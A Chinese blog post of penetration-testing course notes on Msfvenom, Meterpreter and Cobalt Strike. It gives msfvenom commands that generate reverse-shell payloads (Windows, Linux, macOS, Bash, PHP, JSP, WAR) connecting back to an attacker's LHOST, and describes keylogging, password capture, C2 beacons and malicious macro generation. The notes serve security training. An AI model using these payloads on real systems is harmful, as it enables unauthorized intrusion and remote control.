合天培训课笔记

Msfvenom基础

Msfvenom简介

Metasploit独立的有效负载(payload) 生成器,Msfvenom可 以将攻击载荷封装为可执行文件、python、 php,JavaScript语言等多种形式,并可以进行各种类型的编码。

-I, --list < type > <type> <type>列出指定模块的所有可用资源模块类型包括: payloads, encoders, nops, archs, encrypt,formats, all

-p, --payload < payload>指定使用的payload(攻击载荷)。使用自定义的payload,使用一或者stdin指定

-f, --format < format> 指定输出格式(使用--help-formats来获取msf支持的输出格式列表)

-e, --encoder <encoder> 指定需要使用的encoder (编码器)

-a, --arch < architecture >用于--payload和--encoders的体系结构(使用 --list archs列出)

--platform< platform >指定payload使用的平台(使用--list platform列出)

-o, --out 保存payload


Payload类型

Singles:独立载荷,体积小,可直接植入目标系统并执行相应的程序,如: shell bind. tcp

Stagers: 传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。这类载荷功能都非常相似,大致分为bind型和reverse型。bind型是需要攻击机主动
连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

Stages:传输体载荷,如meterpreter。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell, 或者meterpreter控制程序运行。然后攻击机可以在攻击机输入相应命令控制目标机。

meterpreter其实就是一个payload, 它需要stagers和相应的stages配合运行, meterpreter是运行在内存中的, 通过注入dll文件实现。

Msfvenom生成payload

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f exe -o /tmp/shell.exe : 32位的

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f exe -o /tmp/shell.exe :64位的

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > <PORT> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f macho > shel.macho

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f raw > shell.sh

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST= < IP > LPORT= < PORT > -f raw > shell.php

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST= < IP > LPORT= < PORT > -f raw> shell.jsp

WAR

msfvenom -P java/jsp_shell_reverse_tcp LHOST= < IP > LPORT= < PORT > -f war > shell.war

Meterpreter基础

Meterpreter简介

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。

Meterpreter特点

Metasploit提供 了各个主流平台的Meterpreter版本,Windows. Linux, 同时支持x86. x64平台,以及PHP、Java等语言的实现。

Meterpreter的工作模式是纯内存的,好处是启动隐藏。

Meterpreter的功能十分丰富,如添加用户、打开shell、 获取用户密码、文件上传下载、捕捉屏幕、键盘记录等等

Meterpreter常用shell

reverse_ tcp

基于TCP的反弹shell
linux/x86/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp

reverse_ http

基于http方式的反向连接,在网速慢的情况下不稳定。
windows/meterpreter/reverse_ http

bind _tcp

基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所以在内网中经常会使用,不需要设置LHOST
linux/x86/meterpreter/bind_tcp

 

Cobaltstrike简介

Cobalt Strike

Cobalt Strike (简称CS) 是一款团队作战渗透测试神器 ,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端。Cobalt Strike集成了端口转发、扫描多模式端口Listener. Windows exe程序生成、Windows dlI动态链接库生成、java程序生成、office宏代码生 成,包括站点克隆获取浏览器的相关信息等。

与metasploit关系

Metasploit是一款开源框架,armitage是metasploit框架的图形化界面方式,Cobalt Strike是armitage的增强版,同时也是收费软件。

Cobalt Strike在2.0版本还是依托metasploit,在3.0之后的版本使用单独的平台。

 

Cobaltstrike启动

启动CS服务端

  1. 赋予teamserver权限: chmod +x teamserver
  2. 修改默认端口: vi teamserver 0 -Dcobaltstrike.server_ port=50050 (默认端口)
  3. 启动服务器: ./teamserver <host ip> < password>

Cobaltstrike使用

快捷栏

 监听器

  1. 内部beacon (CS内置监听器)
    • Beacon DNS
    • Beacon HTTP
    • Beacon HTTPS
    • Beacon SMB
    • Beacon TCP
  2. 外部beacon (提供给外部使用的监听器)
    • Foreign HTTP
    • Foreign HTTPS

HTTP/HTTPS监听器

HTTP Beacon payload连接到C2控制器,它会发起一-个GET请求,获取来自C2控制器的执行操作,如果C2控制器有要执行的任务,那么它会响应一组包含payload执行的所有任务的加密数据,否则HTTP Beaconpayload会返回到睡眠状态,我们可以在payload配置 中设置时间周期。

当payload执行任务后产生输出时,HTTP Beacon payload会通过一个包含加密数据的POST请求发送给C2,这个POST请求中包含任务运行后的输出。如果没有输出,那么就没有这个POST请求。

Attack- > Packages

HTML Application:生成.hta HTML应用程序

MS Office Macro:生成恶意宏放入office文件

Payload Generator:生成各种语言版本的payload

Windows Executable:可执行文件,默认x86,勾选x64表示包含x64

Windows Executable(S):stageless生成全功能被控端

 

posted @ 2021-02-03 17:01  东坡肉肉君  阅读(139)  评论(0)    收藏  举报